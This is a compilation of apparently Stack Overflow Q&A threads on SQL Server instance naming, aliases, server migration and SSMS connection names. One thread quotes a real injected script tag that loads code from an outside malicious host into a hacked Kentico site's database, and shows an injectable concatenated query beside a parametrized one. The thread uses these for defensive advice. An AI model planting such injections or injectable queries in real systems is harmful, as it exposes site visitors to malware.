I need to convert a named instance of SQL server 2005, to a default instance.
Is there a way to do this without a reinstall?
The problem is, 2 out of 6 of the developers, installed with a named instance. So its becoming a pain changing connection strings for the other 4 of us. I am looking for the path of least resistance to getting these 2 back on to our teams standard setup.
Each has expressed that this is going to be, too much trouble and that it will take away from their development time. I assumed that it would take some time to resolve, in the best interest of all involved, I tried combing through configuration apps installed and didn't see anything, so I figured someone with more knowledge of the inner workings would be here.
I also wanted to convert a named instance to default - my reason was to access it with just the machine name from various applications.
If you want to access a named instance from any connection string without using the instance name, and using only the server name and/or IP address, then you can do the following:
Open SQL Server Configuration Manager
Click SQL Server Network Configuration
Click Protocols for INSTANCENAME you want to make available (i.e. SQLExpress)
Right-click TCP/IP and click Enabled
Right-click TCP/IP and go to Properties
Go to the IP Addresses tab
Scroll down to the IPAll section
Clear the field TCP Dynamic Ports (i.e. empty/blank)
Set TCP Port to 1433
Click Ok
Go to SQL Server Services
Right-click your SQL Server (INSTANCENAME) and click Restart
This will make the named instance listen on the default port. Note : You can have only one instance configured like this - no two instances can have same port on the IP All section unless the instance is a failover cluster.
As far as I know, no. One reason is the folder structure on the hard drive; they will have a name like MSSQL10.[instancename]
This is why a lot of companies store their applications' connection strings at the machine level instead of the application level.
Just take the connection string out of the source code entirely. Then have everyone put their connection string in their machine.config.
This has the added benefit of avoiding unnecessary app-specific environment logic, i.e. when you copy your application to the staging server, the staging server already "knows" what database to use.
The only way to change the instance name is to re-install - uninstall and install as default instance.
A lot of times I'll use client alias to point an application at a different sql server than the ones it's connection string is for, esp. handy when working on DTS or an application with a hard coded connection string. Have everybody use a commonly named alias, use the alias in the connection string and point the alias’s on each dev box to the to the different instances. That way you won't have to worry about if the server is the default instance or not.
You shouldn't ever really need to do this. Most software that claims to require the default instance (like Great Plains or Dynamics) doesn't actually.
If you repost with your situation (installed X, then Y, but need to accomplish Z) I bet you'll get some good workarounds.
I think you can migrate your data from Sql Server without having default instance installed. You can just specify the port number of your Sql Server instance in Oracle Sql Developer and you can connect just using the server name, not using the server name and the instance.
Like this:
connect to "MYSERVER, 1433"
Related
At work we are trying to upgrade infrastructure and finally separate app servers and database servers. We would like to migrate our current SQL server DBs to a new database server, but we have many Excel spreadsheets around the office that have database connections and data sources that link to our current db server.
Finding all of those references would be a fairly monumental task. Is there any way to re-route all of these data sources without having to find and update each Excel file that is out there? We're not even sure that all of these use consistent drivers, some may be ODBC, a lot are definitely OLE, some may even use ADO.Net through Excel Macros.
Does anybody out there have experience with a situation like this? Any help is greatly appreciated.
Assuming the connection to the SQL Server in the excel spreadsheets made by DNS name and not IP, then the following procedure will do the work:
Setup the new server with a new host name, a new DNS record , like there's a standard new installation.
Move your data & configuration to the new server. remember to move logins and make sure they mapped correctly.
Change the name of the old server. Make sure the old name is not referenced by the DNS anymore.
Add new DNS record (A record) to your DNS server, referencing to the IP of the new server. (BTW, you can also use WINS/SQL Alias, and not the DNS server way)
Now, the old name is referenced to the new server IP. BUT, connections won't work in AD environment because of the Kerberos protocol. to make it work, assuming the server's new name is newname.ADDomain.com, and the service account of SQL Server is ADDomain\sqlsvc, run the following command on the SQL server: SetSPN -S MSSQLSVC/newname.ADDomain.com:1433 ADDomain\sqlsvc. if you're not in domain environment or not using windows authenticaiton you can skip this step.
After you done, clients will be able to connect the new server with the old name. I suggest that before doing this procedure you'll make sure you know how to do it and how to roll-back in case it's needed (which means, making sure you know how to get the old server up and running with the old name).
If you want to be on the safe side, and ready for future changes, you should consider making a little change: instead of using the old name as an alias to the new server, set up AlwaysOn cluster, and use this old name as the name of the listener, and not the name of the new DB server itself.
this way, future moves will be easier, as the clients will always use the listener name to connect and AlwaysOn will route them to the active server.
Hope this helps.
The title may be a bit misleading, so let me clarify: I don't want to know how to rename a connection string or db name. What I'm trying to find out is how would I create a friendly label for my database connections in SQL Management Studio?
e.g. I have the following connections:
I want to rename them to something else, e.g. "dev server", "PreProd", "Live", or whatever the case may be. I thought I could easily do this in SSMS, but apparently I can't.
I'm always worried that I may inadvertently make a change on the wrong server and having a nice friendly name will go a long way in preventing it.
I've struggled for years with SSMS database connections that don't have friendly names but are stuck with an IP address or a server/database name. You'd think MS would have provided ways for users to manage these by now, but no.
Something you might consider is using registered servers. SSMS 17 (I don't know about earlier versions) has these and I find them easier to use because you name them whatever you want.
Invoke View/Registered servers to show that pane, then expand the Database Engine node. Right-click the Local Server Groups node and then New Server Registration. Fill out the fields putting whatever you want for a name in the Registered server name box, and test the connection. Once it works, click the save button and you're done. Double-clicking the new registered server connection connects you to the database and opens up the object explorer.
I also switched my startup options (Tools/Options.../Environment/Startup) "At startup" choice to "Open empty environment". This brings up the IDE without prompting me to immediately connect to a database.
Right, so anyway what you have to do is the following
Get the name of the server the IP address points to. You can do this via the command prompt using nsLookup [ipaddress]
use the name instead of the IP address
Alternatively, if you want to control what the actual displayed name is, you could add an entry for each of the IP addresses in your HOSTS file:
Run any text editor as administrator
browse to c:\windows\system32\drivers\etc (etc is a hidden directory) and open the HOSTS file
for each IP address, add a record like such: 1.2.3.4 MyFancyServerName
You can now use MyFancyServerName instead of the IP Address 1.2.3.4.
Adding on to James Barnard's answer.
With SSMS 18.7.1 (and maybe earlier versions) you can actually right click the connection in your Object Explorer and select the Register... option.
This way you don't have to retype your connection details in the Registered Servers window.
SMSS 18.7 server registration steps
This question already has answers here:
Changing SQL Server named instance to default instance
(4 answers)
Closed 9 years ago.
In my SQL Server 2005, i'm able to login with servername as " .\LOCAL ". How can i change this to " . "
I tried changing the sql server name using query *sp_dropserver and sp_addserver* but it's didn't work?
How can i change this?
Never had to do it, but this guide looks promising: http://www.mssqltips.com/sqlservertip/1620/how-to-setup-and-use-a-sql-server-alias/
It wouldn't be a true default instance, which ultimately may make things confusing, but installing a default instance may not be an option... If it is, by all means install the default instance, move your databases and remove the named.
You can't change a named instance to a default instance. The only way to do this is to install a default instance, then backup your databases and restore them (as well as logins, jobs, linked servers, etc).
Or an alternative so that your clients can think they are connecting to a default instance is to make the named instance listen on a fixed port and then create network aliases (using client network utility) on all the clients that will connect.
My site is created in Kentico CMS 5.5 and SQL server 2008. Its running successfully but now these days any one of hacker hack my site and after a long time i found that in many of tables hacker add
></title><script src="http://lilupophilupop.com/sl.php"></script><!--
line in before of ever varchar cell. Suppose i have user table in that case before username it adds this string, before user's email-ID it adds this same string. How i can prevent my sql server by using this hacking. And what is the reason behind this?
How i can prevent my sql server by using this hacking.
First, you need to find out how the hacker got the data into your database (SQL injection, weak account password, ...). Then you can take appropriate actions.
And what is the reason behind this?
The hacker hopes that the varchar field is printed on a web page without being properly encoded first. If that happens, the user's browser will download and execute the script.
This looks like it could be an 'SQL Injection' attack probably aimed at sending your visitors to a malware of fraudlent site.
Unfortunatly as Kentico CMS is commercial software your options are limited. You won't have the source that you can tweak to prevent further attacks commint through the front end.
You may need to
Review the security of your SQL server and ensure that the attacker didn't connect to it directly
Update to the latest security patch for the CMS (if you pay for maintenance it's free)
Get support from Kentico, they may have seen this before
Clean up your data and remove the offending scripts
If none of that is sucessful you may be able to add triggers to the necessary tables in SQL to remove the scripts as they are inserted in the database.
You need to follow the industry best practices : look at
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
For the top 10 Web application security risks.
There are few things to keep in mind that save your database from hacking is given below:
Always use parametrized Sql, pass all values to DB using parametrized query
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = #ID");
Not
SqlCommand cmd = new SqlCommand("SELECT * FROM TableName WHERE ID = " + value + "");
Similarly, use INSERT, UPDATE, and DELETE query, or use STORED PROCEDURE in same manner.
Only set permission to your specific user
You can on/off ValidateRequest in your page/web.config file as required.
Set Validation both in client/server side so that only valid data will pass to DB
User appropriate data type in your column other than using a common data type (say VARCHAR)
Thanks
I agree with #Heinzi - you should make an effort to figure out the attack vector (how the baddie got into your application). You've found text in your database, but how did it get there? Directly via Sql Server or through the web server OR through Kentico? As you go through this investigative process, make notes of where your security is weak, and firm it up as you go - you're essentially doing a security audit! Doing these steps will lead you to harden your servers against most sort of attacks, hopefully preventing this sort of thing from happening to you again.
I don't know anything about your topology (how your servers are set up and connected to each other and the web), but we can make a start at investigating by looking into the windows log of the machine your sql server is installed on - look for logins happening at times that are questionable, look for odd user accounts, and examine your password and username security. Get more details of things to look into here:Windows Intruder Detection Checklist
If that doesn't turn up anything, look at the Sql server logs, and review your username/password security AND the access to the sql server instance; eg: the sql server should only be accessible from machines that have an explicit reason - your web server, maybe a network admin box, etc - use Windows Firewall to make the access 'tight', so that the sql server instance doesn't just respond to any computer asking. - Here's more details about how to secure sql server.
Check the web.config on your webserver - is the sql server username and password there? Check your ftp logs to see if anyone's tried to read it recently.
Kentico versions 5+ (and maybe earlier) come with the ability to log 'events'. If you have event logging turned on, you should be able to see your templates being modified; go to Site Manager > Administration > Event Log and go back to the date when you first noticed it, and examine the entries for what user account was doing the modifications.
Or even better: if you have access to the db server, you can do a direct table query to get at this data:
SELECT TOP 1000 *
FROM [CMS_EventLog] Look again for entries that seem to happen at odd times from weird Ip addresses or usernames.
And again, it's better to restrict access to all 'sensitive' resources (the Database, Kentico cmsdesk and siteadmin) as best you can. Windows Firewall is pretty great at doing this - tighten down Remote Desktop access, and close as many ports as you can to reduce your servers' exposed surface area. Test your exposure using something as simple as Shields Up! from Gibson Research or the Awesome Nmap security scanner tool.
As an example, my web servers only publicly expose ports 80 and 443 (http and https), and maybe a random high port like 4456 for Ftp if it's needed. I use Windows Firewall to restrict access to Remote Desktop to a handful of IP addresses. The Sql servers have NO public ports, they are tuned to 'stealth' and not reply to any request from a non-authorized IP.
As an anecdotal example - when I put a server live, it has taken as little as 8 hours before bots start trying to log in via remote desktop (you can see thousands of failed attempts in the windows Event Log > security) - as soon as you use windows firewall to ignore non-approved IP addresses, the log stays clear.
As a helpful note: if you are not experienced doing this sort of thing, you may want to procure the services of an experienced Windows system administrator to help you. And please realize that there may be more compromised systems - you may have just found the 'tip of the iceberg', there could be Trojans and Rootkits and other nasties waiting, so you'll need a full security scan too.
Say I have a Server named "MyServerABC", on which I have Sql Server 2005 installed with a Default Instance. Thus I can always connect to my sql server just by specifying "MyServerABC".
Now, I change my server's name to "MyServerDEF". Will I now be able to connect to the sql server by just specifying "MyServerDEF"?
Are there any holes in my thinking? Is it really that simple, or are there additional steps involved, or potential problem areas?
Yes, that's correct from a remote connection view if you change MyServerABC to MyServerDEF in connection strings.
There are a few more things to consider (##SERVERNAME will not change by default for example) so have a look here: How to: Rename a Computer that Hosts a Stand-Alone Instance of SQL Server
Often, you'd use MyServerPermanentAlias as a network DNS entry too so the actual server name is irrelevant.
If you use the machine name to connect, you will have to change your connection strings. If that's what you are looking for, then yes, it's that easy - no additional steps needed.
That's why you can also use (local) or just "." as shortcuts for the local machine.
Marc